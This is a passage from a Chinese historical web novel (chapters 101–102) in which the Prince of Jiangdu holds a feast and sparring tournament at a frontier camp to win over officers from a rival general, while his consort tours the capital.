此事看着步骤清晰分明,可要做起来却是不容易。褚之邑岂能不知晓江都王想要换掉他定襄将军之位的心思,必然有所防范。今日伤兵营之事,明显不对劲。伤兵们因为江都王的到来固然诚惶诚恐,可更多的却是不甘犹豫以及恐惧的情绪。哪怕他们之中有几人极力想要假装镇定,可眼神却伪装不了。 以傅殷的推测,这里面分明有事。他们想要对着江都王揭破出来,却因为顾虑而不敢,可内心又实在不甘。 这里面的事情恐怕不小。 大王此行巡视边境,必然是hi想要做一些事情的。他现在已经明了了大王的最终目的,可他要如何在这次巡视之中为大王分忧从而脱颖而出,真正进入大王的视线之中呢? 正拧眉沉思的傅殷突然小腿上一阵吃痛,强行打断了他的思绪。他无语地看向左手边在睡梦中踹了他一脚的某个鼾声如雷的同僚,一下子他仿佛从抽离的状态重新回到了当下的环境里,嘈杂,昏暗,各种奇怪的气味杂在一起,说不出的味道,让人烦躁。 思绪一经抽离再也回不到之前的状态了。傅殷不再去想,把被子蒙过头,试图隔绝周边的嘈杂声音。他以为自己会睡不着,但连日赶路的疲累很快席卷了他,不知不觉地睡过去了。 大帐之中,百里漾被亲卫唤醒时整个人还是睡懵的状态,清醒了些后又问是什么时辰了,自己睡了多久。 亲卫答:“方戌时,大王睡了将近一个时辰。热汤已备下,大王可要先行沐浴更衣。” 夜里还要行宴、犒赏将士们,百里漾作为主角,自然是不能缺席的。而且他一路过来风尘仆仆,出于礼数以及颜面,他都要将自己洗干净,换上妥帖的衣物去盛装出席的。说到底这算是他身为江都王在永定大营的第一次正式露面,总不能叫人笑话去了。 沐浴更衣后的感觉确实好多了,浑身都倍觉轻松,像是一身的疲倦都随着身上的尘土被洗净了似的。因是在军营里,百里漾舍弃了平日在王宫中穿着的宽袍大袖,转而换上了修身的轻便束甲,腰悬宝剑。 一切整备妥当之后,亲卫为他挑起大帐的帘子。 百里漾单手握剑柄,大步朝外而出。 营帐外崔栋已经在等候了。他身上的装扮与百里漾的相差无几,两人对视颔首后,百里漾在前走,他落后两步紧随其后。 “大王至!” 随着一身传唱,原本已经列席之人纷纷起身出列,共同朝着百里漾来的方向躬身行礼,“末将等拜见大王。” 百里漾径直向前,直到在最上首的席位落座后才镇声道:“诸将士免礼。”待众人纷纷落座之后,他起身举起一碗酒,说道:“今夜行此宴,只为犒劳军中英勇的诸将士。前阵子,离渊来犯,仰赖我军将士奋勇杀敌,将之驱出国门。壮哉,勇哉!不亏为我大衍英勇儿郎。今夜这第一碗酒,我先敬众将士!” 他仰头,一饮而尽,之后倒倾酒碗示众。 席上众人已再度起身,手中皆举着满满一碗酒,齐齐面向百里漾,不约而同道:“谢大王赐酒。驱除敌寇,卫我疆土,我等义不容辞。” 随后纷纷一饮而尽。 百里漾朗声道:“诸将士守边劳苦。今日之宴上,好酒好菜管够,请将士们只管敞开肚皮,饮尽美酒,尝遍好菜。今夜本王与诸将士不醉不归。” “谢大王赐宴,我等愿与大王不醉不归。” 开场便如此振奋人心,宴席上的气氛一下子被调动起来。这些来赴宴的将士逐渐发现他们的大王不但不拘小节,做派也颇为洒脱豪迈,很快他们面对百里漾因为尊卑带来的拘束感消去了大半,哪怕有小将壮着胆子上前去给他敬酒,他也不推脱,喝得极是豪爽。 这下之后可不得了,将领们见百里漾如此没有架子,一个个踊跃着要上前来给他敬酒。百里漾也是来者不拒,一连喝了好几大碗。后来还是崔栋看不过去了,拿着酒碗加入了战局。百里漾可没有他能喝,今晚之后还不知道会怎样。 趁着崔栋转移了那些将领的注意力,百里漾举着一碗酒来到了褚之邑面前,“褚将军为我大衍征战多年,功劳甚伟,今日本王敬将军一杯,还望将军勿要推辞。” 褚之邑微眯起眼睛,看着走到自己跟前的年轻诸侯王,姿态上却做足了对百里漾的恭敬,他连忙倒酒举碗,碗口低于百里漾所持之碗,“末将蒙受天恩,职责所在,不敢称功。” 百里漾一笑,“将军之功,本王皆看在眼里,此酒当敬将军。” 话已说到这份上,褚之邑岂会当众拂了百里漾的好意,当即将碗里的酒一饮而尽,百里漾随后也尽饮碗中酒。 周围将士看到这一幕,顿时齐齐鼓掌叫好。 “大王海量!” “将军海量!” 晚宴进行得很顺利,军营里的火把将每个人脸上的红晕都照亮了。到兴起酒酣之处,崔栋顶着一张大红脸说道:“光有酒菜,没有助兴可还好?即是军营之中,那我们便以武助兴,大家说可好?” 军营本是盛武之地,他这么一提议,几乎无有不应的。 “好!我赞同。” “都尉说说怎么个助兴法?” “我都行,刀枪棍棒我都在行,比什么我都不怵的。” 这可是一个多么难得的在大王面前露脸的机会,脑子尚存几分清醒的人都不愿意错过这个机会,尤其是那些更年轻些的小将,都想展示自己,搏一个出头的机会。 “此处是军营,还能有什么比比武过招来得助兴?”崔栋哈哈大笑,看向百里漾以及褚之邑,“大王觉得这提议可还好?褚将军又意下如何?” 百里漾笑盈盈的,他的脸色也红了不少,“本王觉得甚妙。不过既是比武助兴,怎可没有彩头。这样吧,本王将这腰间宝剑作为彩头,比武胜者得之。褚将军觉得可好?” 褚之邑:“……”两个人都连着问他“觉得可好”了,他还能说不好么。 “此等好事,末将自然无异议。”褚之邑扭头看向那些永定大营中的将领,“诸位可能有所不知,大王腰间所佩宝剑可是名家打造,削铁如泥,如此不可多得之宝物,今日大王竟舍得拿出来予你们做彩头,你们可算是十足好运了。” 底下的将领登时发出震天的欢呼声。 赢了不但能够得到大王的关注,还能够获得大王的佩剑,想想就令人激动。哪怕最终没有赢到最后,但怎么着也算是在大王面前露脸了,怎么着都算是赚了。 既然是要比武,那么眼前的这点场地就不够用了。一群人移步到一处更加宽敞的空地上围坐,中间的地方以粗绳缠绕木桩围出了一个四方的简易擂台。有意比武者进入擂台即可。今晚宴会的气氛直接被比武点燃至最高,一时之间周围皆是一派热烈的氛围。 上去比武的人很多,百里漾说了不拘军职官阶,有意者皆可上去一试。条件这么一放开,跃跃欲试者就更多了,连什长、百夫长都上去好几个。不过敢上来比武的人都是军中的好手,在军营之中天天操练,早练得一身的好武艺,对打起来也是勇猛无比。 场上的气氛随着一场场的比武变得愈发的火热。 百里漾借着这个机会也见到了永定大营之中这些将领们的实力。 永定大营作为江都抵御离渊南下入侵的第一道防线,时不时要面对离渊突然的侵袭,这就注定了军中每日都是加紧操练、严阵以待的状态,经由此锻炼出来的永定大营必然要是一支精悍之师。 而事实也是如此,百里漾见到的这些武将,个个都很能打,人均练出一身壮硕的腱子肉肌肉。他们的武艺都是经过战场之上真刀真枪的拼杀练出来的,刀枪棍棒样样皆有人精通,乃至挥起的拳头都带着劲风,一拳砸在木桩上震得立在地里的木桩都震颤了。 叫好声不断。 场上之人即便是输了也很干脆地下台来找百里漾讨酒喝。虽然没有得到宝剑,但能有酒喝也是一件高兴事了,何况还是跑到大王跟前去领酒喝呢。 那些输了下场的将领们喝了酒也不着急走,围着崔栋在一起谈天说地,正说得火热。 100-110 第101章 犒赏与行宴 崔栋不愧是从小在军营里摸爬滚打长大的, 他很清楚军营中人的习性脾气,哪怕这些永定大营的年轻将领们绝大部分与他是第一次见面,不到半个时辰的功夫就已经在他们中间混得如鱼得水, 甚至有些还开始跟他称兄道弟起来了。 “都尉,你我当真是相见恨晚,此前竟不知都尉竟是如此风趣豪爽之人。来,让我们共饮此碗。” “听闻都尉武艺非凡,改日有幸, 定要领教都尉高招。” 周围之人皆是军伍之人, 岂能没有听说过崔大将军的威名, 自然也不会没有听说过崔栋的一些事迹。军营之中最讲究的是实力,人人皆慕强, 大家伙也想知道崔栋这位大将军之子究竟有多厉害,是否配得上“虎父无犬子”的将门之后的威名。 崔栋还没有说话, 马上就有人嚷嚷道:“何须改日,当下不就有机会么?大王的宝剑是难得稀罕之物, 咱们都想要, 可惜没那个本事赢到最后, 若是让都尉得了,好歹叫我们能沾沾光摸摸、耍两下把式,大家说是不是啊?” 这人这么一说,周围人都纷纷喊着“是”,让崔栋也上擂台去比武。 眼见着身边让他去比武的声浪越来越高,崔栋放下酒碗,环视一圈,嘴角挑起笑,“我真若是上去了, 那你们可真就是半点机会都没有了。” 周围人见他如此“大言不惭”,纷纷不干了,有人更是当即表示要与崔栋比武,要亲自领教一下崔都尉的厉害。 “那好。”崔栋从坐席上起身,还不忘跑到百里漾跟前“报备”一下,“大王,这下可不能说我心心念念着您的佩剑了。我上场必然是要赢的,本不欲去的,奈何盛情难却。” 崔栋自然没有心念着百里漾的佩剑,他是故意这么说的,百里漾也乐得配合他,“本王既说了‘胜者得之’那么便不会食言,这句话对在场的每一个人都作数。你若是赢了,那宝剑自然就归你。” “那宝剑必然归我。”崔栋拍着胸脯,信心爆棚,转头朝周围抱拳,问道,“哪位兄弟可借兵器一用?” “都尉想要什么样的兵器?永定大营别的没有,有的是兵器。”当即有人喊道。 崔栋最后挑了一把长戟上去。 战场杀敌、冲锋陷阵,将士所用兵器总归来说分为两种,可远攻的长兵器以及近战肉搏的短兵器。而绝大部分将士长兵器用的是长戟、长矛一类,适用于骑兵冲锋,战马冲锋带来的冲力再加上骑兵持戟在马背上横扫,立时就能够带走一大片地上走的陆战兵。短兵器则是长刀,等敌人都贴到脸上了,长戟就挥舞不开了,人家抽刀砍过来,这时候要么躲要么抽刀格挡。故而军营里面的操练也多是以这两种兵器的使用为主。 崔栋一上场,周围顿时爆发了一阵热烈的欢呼,有为崔栋鼓掌鼓劲的,也有为他此时的对手叫威助阵的。 此刻站在擂台上与崔栋对战的是一名营将,身材魁梧壮实,手持一把长戟杵在坚硬的地面上,衣服都被鼓起的肌肉弄出了起伏的线条。这名营将姓沐,乃是永定大营中的一员猛将,据说力气不是一般的大,能够徒手举起四五百斤的巨石,曾经用一对金瓜锤一锤直接将离渊骑兵首领的脑袋给砸开瓢,令其当场坠马而亡。在崔栋上台之前,他已经用手中的长戟挑翻五六个上台比武的了。 “崔都尉,大王的宝剑末将也想要,可不会与你手下留情的。”姓沐的营将先抬手朝崔栋行礼,又哈哈笑道,“都尉的名声末将早有耳闻,早就想与都尉交手了。” “擂台之上,自凭武艺说话。”崔栋持戟还了一礼,回道。 两个人过了一遍比武之前的礼节,各持长戟对打起来。沐营将是军中猛将,又端是力大无比,精铁所制的长戟自上而下重重挥舞着砸下来,崔栋横戟格挡,“铛”的一声无比响沉的声音自交接的地方传出,在一片热闹的鼓劲欢呼声中都显得也尤为震耳。 崔栋被这一下给震得双手发麻发疼,对沐营将的力大有了初步的认识。可他也不是吃素的,否则也对不起崔大将军自小对他的操练。他力气也大,打起架来也端是生猛无比,足足几十斤重的长戟在他的手中几乎被舞出了残影,一连串又快又猛地挑、劈、刺、砸逼得沐营将不得不放弃了进攻只能防御。 两人自开打之后,这叫好声就没有断过,期间还伴随着“崔都尉威武”、“沐营将威武”的助阵赞扬之声,场面实在是火热又畅快。 “早闻崔都尉武艺高强且勇猛非常,如今一见还真是不同凡响。”擂台之上的比武情形皆被百里漾这边的看台看得清清楚楚,他们这一块的视野是最好的。有人见了崔栋开始压着沐营将打,便赞叹着说道。 百里漾面上含笑,对这人的话不置可否。 崔栋的武艺如何百里漾自然是清楚的,崔栋有天赋,再加上自小由舅父崔大将军亲自手把手教导,那还能有差的了。那沐营将也的确是一员猛将,此前他与其他将领的对战百里漾也看了,确实不得了,单凭力气就已经胜过许多人了,但他对上崔栋,力气上的优势就没有对上其他人时的那么明显,论武艺娴熟他却比不上崔栋,灵活性上也差了些。也就是这些差距,让沐营将从一开始的优势变得逐步落入下风,不敌是迟早的事情。 “今日见军中将士皆勇猛刚毅之士,可见褚将军治军有方。请诸位举杯,敬褚将军一杯。”百里漾抬手举杯,示意四周。 在坐之人连忙举杯,一同敬褚之邑。 今夜的江都王态度实在是客气,显示出对褚之邑极大的倚重褒赞,便是这敬酒已经有三回了。褚之邑一方实在摸不清百里漾葫芦里到底卖的什么药,但当众也不好推拒百里漾的“好意”,于是褚之邑只能再次“惶恐”,嘴上谦称“职责所在,不敢称功”,领受了敬酒。 见此,百里漾只是再度笑笑,转头又去看起了擂台之上的比武。 崔栋赢了沐营将之后又连战了三人,最终在一名年轻的百夫长手上败下阵来。他输了也不觉得有什么,将手中的长戟交还到借他的人手里后转头看向眼前与他差不多同龄的年轻人,眼中有异彩,“好功夫,你叫什么名字?” “卑下薄天青。都尉客气,若非都尉连战四人,我也未必能赢。”名为薄天青的百夫长抱拳说道。他看着很年轻,年纪应该不超过二十,相貌不错,脸有点黑,眼睛却很亮,显得极为精神。这般年纪做到百夫长的位置,可见其本事。 “薄天青。”崔栋听到名字眼睛更亮了一些,夸赞道,“不错,实在不错。你赢了,快去找大王领赏吧。” 擂台比武比到现在,永定大营之中的好手基本上都打过一遍了,崔栋与薄天青的对战是最后一场,现在薄天青赢了,按照之前定下的规矩,百里漾拿出来作为彩头的佩剑自然就归他了。 “都尉,承让了。”薄天青抱拳说道。他也不推辞,乐得大白牙都露出来了。大王的佩剑他自然是想要的,否则也不会上来比武了。况且他赢的那只是一柄削铁如泥的宝剑么? 一群人簇拥着崔栋和薄天青来到百里漾面前。 崔栋拱手道:“大王,获胜者已经给您带过来了,就是这位百夫长薄天青。” “你之前可是放话说必赢的,看来大话果然是不能说太早的。”百里漾指着崔栋笑道。他在看台之上自然是将什么都看清楚了,崔栋怎么输的他都看在眼里。固然有崔栋此前连战疲倦的原因,但薄天青能赢也足以证明其本身的武艺高强。 “强中自有强中手,输给我军中将士,不丢人。”崔栋不在意这次的输赢。大家都是明明白白地打,输赢全凭本事。他也没有如此痛快地打过一场了。(PS:崔栋以前都是与百里漾过招的多,但两人从小打到大,上一招还没有出完就知道对方下一招怎么打了,打着打着就没有多大意思了。) 他如此坦荡磊落地认输,叫周围一圈的将士对他的好感度又蹭蹭蹭往上涨了。 这番情形,看得褚之邑一方的人眼角直跳,心道阴险。 百里漾才不管褚之邑以及他的人怎么想,他站起身,示意薄天青走到近前来,也看清楚了薄天青的样貌,当下赞道:“卿之勇猛,此剑正好相配。望卿能以此剑,斩敌杀将,卫我疆土。”他亲自将宝剑交到薄天青的手中,又转身从食案上拿起一碗酒,“此酒敬勇士。” 薄天青大受感动,跪受宝剑,心中热血沸腾,当即激昂道:“卑下定不辱没此宝剑。” 彩头给出去之后,崔栋干脆拉着薄天青过来一道喝酒。因为旁边坐的就是江都王,薄天青既激动又拘谨,但他很快发现江都王实在是平易近人,几乎不摆诸侯王的架子,一连两碗酒喝下去,他的胆子逐渐大了起来,没有那么拘谨,也能百里漾与说说笑笑起来。 这一幕看到不少人牙酸,更不知道有多少人再次在心中暗骂这些小年轻阴险的。 “抛开身份不谈,还是年轻人容易与年轻人说到一块去。”永定大营偌大一个军营,品级高的将领并不在少数,诚然褚之邑确实是地位最高的统军之将,但底下营将也好几个。这些人里自然有与褚之邑关系亲近的,但也有关系不亲近的。此刻说话的就是一名姓安的营将。 这话只从明面的字眼上看的话是没有什么问题的,可褚之邑是什么人,围在他身边的又是什么人,话一入耳就觉得刺得慌,充满了讽刺的意味。沉不住气的人当即对安营将怒目而视,褚之邑却稳得住,笑笑却不说话。 安营将见状则啐了一口,果然是褚氏出来的阴险虚伪的老狐狸。 行宴至月上中天便结束了。将士们喝到了甘醇的美酒,饱饱地吃上了一顿肉,事后还能去领取准备入秋的衣物以及饷银,个个心满意足,觉得下次离渊人再来犯也定能给他们迎头痛击。他们感念给他们带来这些东西的百里漾,连“愿为大王效死”的话都喊出来了。 百里漾不出意外地喝醉了。但他事先知道今夜的行宴自己是避免不了喝酒的,而且要喝很多很多的酒。 没办法,军营这样的地方,每日操练辛苦,日常没有什么大的娱乐活动,又是在边境这样艰苦的环境里,不时就要面对来犯之敌的侵扰,这些将士们能找到为数不多的能够让他们舒服的事情之一就是喝酒。因此,要想拉进与这些兵将们的距离,不喝酒是不行的。在行宴之前,百里漾服下了之前专门令太医制作的解酒的药丸,只为了自己后面不会醉得太难看。 崔栋也知道百里漾醉了,似今日这般这么猛的喝酒,他从小陪在百里漾身边也还是头一次见到,但他不能阻拦,只是在心里祈祷,希望最后人不要醉得太离谱。 好在确实没有醉得很离谱,或者是说醉了,但不闹腾不作妖,很是令人欣慰。 而一路回来不闹腾的百里漾很是维持住了他作为江都王的威仪,连“大王真海量也”的夸赞敬佩之语都有人说了出来。 崔栋酒也喝了不老少,可能是之前比过几场武的缘故,他感觉自己的脑袋在发昏,脸也烧的慌,可偏偏脑子却很清醒。好不容易带着百里漾回到了营帐里,刚把人放在床榻上,叫亲卫到了点水给他喝完,歇了两口气后起身要会自己的帐篷,还没有走出营帐呢,百里漾起来了,叫住他,“站、你站住。” 崔栋心里叹气回头,看着百里漾看他想做什么。 “你、你就这么把我扔这了?”百里漾睁着眼,也不知道看清人了没有,说话舌头还有点大。他愣坐了一会儿后,忽然扭头左右看看,挣扎着要起身,一面喊着,“不对,不对。” 眼看着人要栽倒在地上,崔栋赶紧过去制住百里漾的动作,问他,“哪里不对?” “这、这不是永延殿,也不是长乐殿。”百里漾伸手牢牢抓住了崔栋的两边胳膊,“王妃不在这里,我不要在这里。快说,你、你把我拐到哪里来了?” 崔栋又无语又好笑,敢情这是把他当成拍花子了。他自己也没有什么力气,只好让亲卫帮忙扶住百里漾,“这又不是江都,哪来的长乐殿。” 奈何百里漾不听他的,非要起身,问做什么。百里漾闻了闻自己的衣服,说臭的,要去沐浴。崔栋头疼,第一次见识到喝醉后的百里漾的难缠。无法,崔栋只好说,明日再洗也无妨,臭也只是臭你一人。 百里漾听了似是愣住了。崔栋以为以百里漾平素爱洁的性子肯定是不听的,谁知道这人“哦”了一声倒头就睡着了。 这一幕,看得崔栋一愣一愣的,好一会儿才反应过来,脑筋一阵一阵地发胀。吩咐亲卫看护好百里漾之后,崔栋回到自己的营帐,倒头也睡下了。 因为昨夜宿醉,崔栋第二日起晚了。待沐浴洗漱之后到百里漾的营帐时,发现百里漾在内正在伏案写东西。他进去之后行礼,随后就坐在百里漾左下手的座位上打哈欠。过了一会儿,崔栋问吃早食了么。 百里漾头也不抬,“底下人正在准备。” “给我也准备一份。昨夜喝了一肚子的酒,现在感觉这里面还都是水。”崔栋伸长了腿摆着,尽量使自己呈一个摊开的“大”字形,好让自己撑了一晚上的肚子能舒服些。 百里漾闻言提笔的手微顿,没说自己早上也是被憋醒的。宿醉的感觉哪一次都不会好,今晨起来也是缓了好一会儿才感觉好些,然后就想起来自己还有一件很重要的事情没有做,连忙吩咐人准备笔墨。 “昨夜情形,可看出什么了?”摊了一会儿,望着帐篷顶,崔栋忽然问道。 “褚氏在此处也并非铁桶一个。”百里漾写好最后一句话,将笔放回笔搁上,一边回道。 昨日他们不顾一路风尘仆仆便直接“突袭”伤兵营,而后当夜便要行宴,犒赏将士,这些自然是他们的故意为之。永定大营说到底在褚之邑手底下被掌管了这么些年,其中的情况百里漾他们听到的从来都是从别人的口中或者呈报上展现出来的,是真是假,几分真几分假,里面可以操作的水分太大了。 百里漾对于自己没有亲眼见到过的东西向来不会持十分相信的态度,何况是由定襄将军褚之邑带领驻守下的永定大营。他此次巡视边境,固然最主要的目的是防范边境守备松弛、致使影响极有可能发生的大衍与离渊的战事,可若有机会,他必然是想要将定襄将军这个位子上的人选换一换的。 褚之邑不傻,他怎么会不知道百里漾想要将他换下来的心思,甚至会觉得这次百里漾巡视边境就是冲着他来的。如此一来,他必然会想方设法让百里漾挑不出他的毛病来。现在的百里漾一行人对于褚之邑等人来说就是一群来势汹汹前来“找茬”的,偏偏碍于君臣名分,他们不仅不能将之拒之门外,还要大大方方地将人迎进来,何其憋怒却不得不为之。 在来之前百里漾就知道褚之邑必然会对他们严防死守,故而才会在来的第一日就不按照常理出牌。这种打法也确实是有点效果的,褚之邑等人慌忙应付之下必然会有所疏漏,而昨夜的行宴也让百里漾他们看出一些永定大营的内部情况。 伤兵营那里似乎藏着些猫腻,后续百里漾已经打算让傅殷去打探了。而这永定大营的内部,褚之邑在此经营了好些年也并没有能够将它完全经营成自己的地盘,至少不是所有的将领都服他褚之邑的。 永定大营里高层将领大多年纪在三四十岁,这些固然有不少人被褚之邑笼络到他身边去了,但也并非所有的将领都愿意被他拉拢了去的。至少从昨夜的情形来看,年轻将领对褚之邑的做派是不怎么看得惯的。 崔栋对此冷笑道:“褚氏愿意自己跟着定安王,可不代表所有人都这么想。毕竟,这到底是江都的地界。褚氏自己分不清,还当人人都与他们一样么?” 站褚氏就意味着站了褚氏背后的定安王,从龙之功固然诱惑人,可伴随的风险也是巨大的,并不是所有人都愿意拼上一家老小的性命去搏那一份功劳的。尤其是如今的定安王也没有显出有多大赢面。 褚氏如今是没得选,只能一条道走到黑,其他人可还有的是选择。 崔栋又道:“昨夜的那个薄天青,得了你佩剑的那个百夫长。他的武艺昨日我也亲自领教过了,确实厉害。怪不得褚之邑都想要拉拢他,只是人家并不想搭理他。看看,褚氏还真以为所有人都跟他们似的拎不清,不是所有人都会觉得定安王是个香饽饽的。” “此人固然厉害,眼下不过是一个百夫长罢了。他拒绝的次数多了,褚之邑难免着恼。在这永定大营里,若无特别突出的功绩,怕是升迁无望,甚至还远不止如此。”百里漾说道。他既然终于能腾出手来要整顿永定大营,来之前怎么可能不做任何功课。别的不说,那些军将的人事关系脉络总要梳理一遍的。 这梳理过后的结果并不令人满意欢喜。褚之邑还是很有几把刷子的,他将高层将领笼络了过半,这永定大营虽说还不是他的一言堂,可这股势力也不能小瞧了去。来之前百里漾就已经有心理准备了,可如今真正见到这情形,心中难免一沉。但凡事总有突破口,至少下层新进的年轻将领还没有被褚之邑拉拢过去。至少从昨夜行宴的情形来看,那些年轻的将领更愿意向着百里漾这个江都王靠拢。 当然,若是百里漾晚来一年半载,昨夜也未必是这般情形了。 军营里晋升靠的是军功,没有战事也就无所谓什么军功不军功了。永定大营守着边境,时不时要面对离渊的侵扰,也就容易获得诸如退敌、斩获等的战功,军功的获取固然需要自身本事过硬、杀敌勇猛,可还有一个前提是你得上得了战场、遇得上敌人不是? 所谓官大一级压死人,在这讲究军令如山的军营里,这上位者想要拿捏下位者,法子太多了,不给你出头的机会就几乎堵死了你全部的上升通道。如薄天青这样靠着战功出头的年轻将领,他再想往上走还得靠军功。或许一开始他并不愿意接受褚之邑伸过来的橄榄枝,但拒绝的次数多了,褚之邑必然要给他冷板凳坐的。 这种招数说起来老套但屡试不爽,没有多少人能够忍受这种长久坐冷板凳的机会,更没有多少人愿意一辈子出不了头,纵然是薄天青也一样。褚之邑在此前并不在意薄天青的年轻气盛,等人真碰壁了自然就能够想通了。 可现在不一样了,百里漾来了,不仅将自己的佩剑赐给了薄天青,还用的是擂台比武这种众目睽睽之下的方式,这才气得褚之邑的人心中暗骂百里漾阴险。 如今这永定大营谁人不知道薄天青在比武上获胜得了江都王的赏赐佩剑,经由此事,百里漾也给自己树立了一个“体恤下民、礼贤下士”的光辉形象。那些不愿意投入褚氏门下的年轻将领可不得争相向百里漾靠拢。 “如今他拿着你的佩剑,褚之邑再想拉拢或是为难他,可不就那么容易了。”崔栋对于让褚之邑吃瘪很是高兴,转而又是眉眼一沉,“后续再想要纠褚之邑的错处怕是没那么容易了。” “本来就不容易。从知道我要来那一刻开始,褚氏就已开始清扫尾巴了。”百里漾也不寄希望于一次巡视就能将褚之邑这个定襄将军怎么样,“眼下最紧要的还是应对离渊来犯,其他事都可以往后放一放。” 永定大营固然不能让它长久地握持在褚氏手中,可大敌当前,没有必要自家内部先内讧乱了阵脚,届时战事失利反倒是便宜了敌人。这后果太严重,百里漾自己也不愿意见到。 “放心,我知晓轻重。”崔栋面色肃然道。 百里漾这时已经将写好的信简装入一个锦袋里,令亲卫快马加鞭送去。崔栋这才将注意力重新放到这上面,问道:“这是做甚?”来时他就好奇了,只不过后面谈事忘了。瞧着不知是要送给谁的? “给王妃报平安的书信。本该昨夜就写的,只是行宴后回来太晚了,只得现在写。”百里漾回道。他这次也算是出远门,到地方了不得向王妃写书信报平安么,好让她在江都安心。 算起来出来不过三四日,百里漾竟觉得这日子事如此漫长。他已经三四日未见王妃了,心中已是这般想念,恨不得自己能插上翅膀转瞬回到江都王宫之中。一想到未来还有很长一段时日见不到王妃,心底便不断生出许多惆怅来。 “!!!”崔栋闻言大惊,连忙道,“等等,且等等。我也有家书一封要送回江都。我马上就能写好了。五郎,快借纸笔一用。” 难怪总觉得醒来后有什么事情忘了做,可怎么都想不起来了。临别之时,家中妻子叮嘱他抵达之后莫忘了写信回来报平安,他竟然给忘了。 百里漾见状有几分无语,还是叫回了亲卫让他等等再出发。崔栋得了百里漾给的纸笔匆匆在下方的案前坐下,拧眉片刻就开始奋笔疾书。 一刻钟之后,这封家书写成了,交到亲卫手上让他送回江都去。 这边两人安排着送家书回去的事情,那边身在江都的颜漪与卢氏也在念叨着二人。这日用过早饭后,卢氏入王宫拜见王妃颜漪。见外边天气晴好,有日却被白云遮盖,风吹得也舒服,颜漪便请卢氏到花园中喝茶。 两人品茗赏景,看着一对翠鸟飞来落在树枝上绕着黄灿灿的花叽喳乱叫,成双成对的。卢氏见此颇觉心中空空,不免念叨道:“算算时日,他们也该至边境了。” 话说完了卢氏才反应过来自己岔题了,根本与先前她们说的话题毫不相干,不禁有些不好意思,面上也微微发热,但她也算大方,想着反正也说了出来,不妨顺着这话继续说下去,“让王妃见笑了。平日里人在身边不免觉得烦,几日不见却是有些想念了。” 许是不习惯在颜漪面前谈起对崔栋地思念,卢氏虽然承认想念丈夫崔栋,却是用一种“别扭且带着嫌弃”的说法,“临走前让他到地方了给我写书信说一声,以他那德行,怕不是给忘了。” 不得不说,卢氏对于崔栋的了解还是挺到位的。远在边境永定大营的崔栋还真就差点忘记了写信回去报平安。 卢氏今日入王宫来一是想找颜漪说说话,排解一下丈夫远行的无聊苦闷。她与颜漪本就在闺中相识,如今亦算是一同嫁到江都来,人生地不熟的,彼此有个熟人说话会好很多。二来则是崔栋此行是随着江都王去办差的,若是有消息传来也必定是先传到王妃这里。她过来王妃这里也能提前知道崔栋他们平安否。 “若一路平安,想必大王他们昨夜便抵达了边境。书信往来,即便快马加鞭也要一日余。”颜漪岂会不知卢氏所来为何,温声宽慰道。 卢氏岂不知此理,只是内心忍不住焦急罢了,不好意思道:“让王妃见笑了。” 第102章 高大娘子 颜漪轻轻摇头笑道:“表嫂与表兄夫妻恩爱, 旁人羡慕尚且不及,谈何笑话。” 当面说这些,卢氏难免脸皮薄, 但也只羞涩了片刻便恢复淡定了。她看了一眼面前淡然从容的江都王妃,心下感慨,这要论起夫妻恩爱,便是她与崔栋也不及江都王夫妇。自从湛京来江都,凡她所见, 江都王待王妃几乎无一处不好, 王妃亦如是, 两人般配当真宛若天造地设一般,再一次刷新了卢氏对恩爱夫妻的新认知, 以往她所眼见或是听闻的都不及此二人。 卢氏说不羡慕是假的,可她也知晓人各有天命, 夫妻缘分乃是前世所修,各自有缘法。崔栋自然称不上完美夫君, 可她亦称不上十足佳妇, 如今这般情形已比那些夫妻不睦、家里家外一团污糟的好上百倍千倍, 她已很知足了。 “今日天气晴好,凉爽得宜,听人说城中新开了一间首饰铺,不知王妃可有暇前往一观?”卢氏转眼便将心中的种种感慨抛开,向颜漪提议道,“原先崔栋应了我得空时便带我去城中转转,认认路,省得出门一趟迷了路找不到家门的方向。如今却是一直找不到机会,我也不愿意拘在家中等他回来再出门, 便厚颜来约王妃了。” 江都于卢氏而言是陌地,若要尽快熟悉自然需得“领路人”。原先崔栋拍着胸脯自信满满地应下了要做这“领路人”,只是回到江都之后,他一直忙碌,能够抽出时间带着卢氏将府中一应事宜熟悉了已是不容易。卢氏体谅他,正巧他与江都王皆去了边境巡视,留她与王妃在家也好做个伴。 颜漪闻言也想起来百里漾也曾说过得闲了便带着她去江都各处转转,只是因近来忙碌,所以也一直未得成行。她的思绪因此飘了飘,不知如今的百里漾在做些什么。仅仅是一瞬,她收回思绪,欣然应允,“只那日入城匆匆而过,还不知大王治下的江都城是何样貌。今日有暇出去转一转也好。” 王宫之中秩序井然,许多事务已成条例,颜漪处理起来并不怎么劳心费神,往往花不上两个时辰便能处理完。可一日有十二个时辰,往日有百里漾在,时间便过去了,可如今百里漾去了边境,偌大的王宫显得空旷,余下时间也觉得难以打发起来。 卢氏不是没有眼色之人,来之前就探过颜漪是否有暇了。这时候有相熟之人与你同来陌地的好处便来了,做事时能有伴,许多事情就不必瞻前顾后、畏首畏尾的了。江都本地的权贵士族目前于她而言实是陌生,当前还不宜冒然接触。她如此,身为江都王妃的颜漪便更要谨慎了。故而算来算去,当下她们两人为伴最宜。 既然已经说好要出门游玩,两人各自去换了一身寻常装扮的衣裳,约定在一处汇合后,卢氏弃了自家的马车,登上了颜漪所乘坐的车驾,朝着江都城最繁华的那条街道过去。 任何地方都有繁华之地,江都乃是郡城,更是藩地江都国的首府,繁华昌盛自是江都之最。颜漪和卢氏此行要去的地方便是江都城中最为热闹繁华之地——吉宁街。说是街只因那地方所有的铺肆皆沿着一条宽阔的街道一路延伸蔓延开,便如一树繁花从主枝干上向外生长绵延,最后长成了繁茂的姿态。 卢氏说的新开首饰铺名为飞红堂,正正开在吉宁街顶顶繁华的地带,今日是新铺开张第一日,店铺门前张灯结彩,一派喜气洋洋。一名身宽体胖、掌柜模样打扮的中年男子正在门前迎客,笑容满面,精确地叫出每一位前来的客人身份。 想想也不觉奇怪,这飞红堂做的是首饰生意,店铺又开在这江都最繁华之地,面向的顾客必然是江都的权贵阶层,这中年男子能当上掌柜必然不是简单的,而事先熟悉那些江都权贵的身份也是必须要做的功课,然而当他面前来了颜漪与卢氏二人时,却没有能与他所知的任何一位权贵女眷对应上。 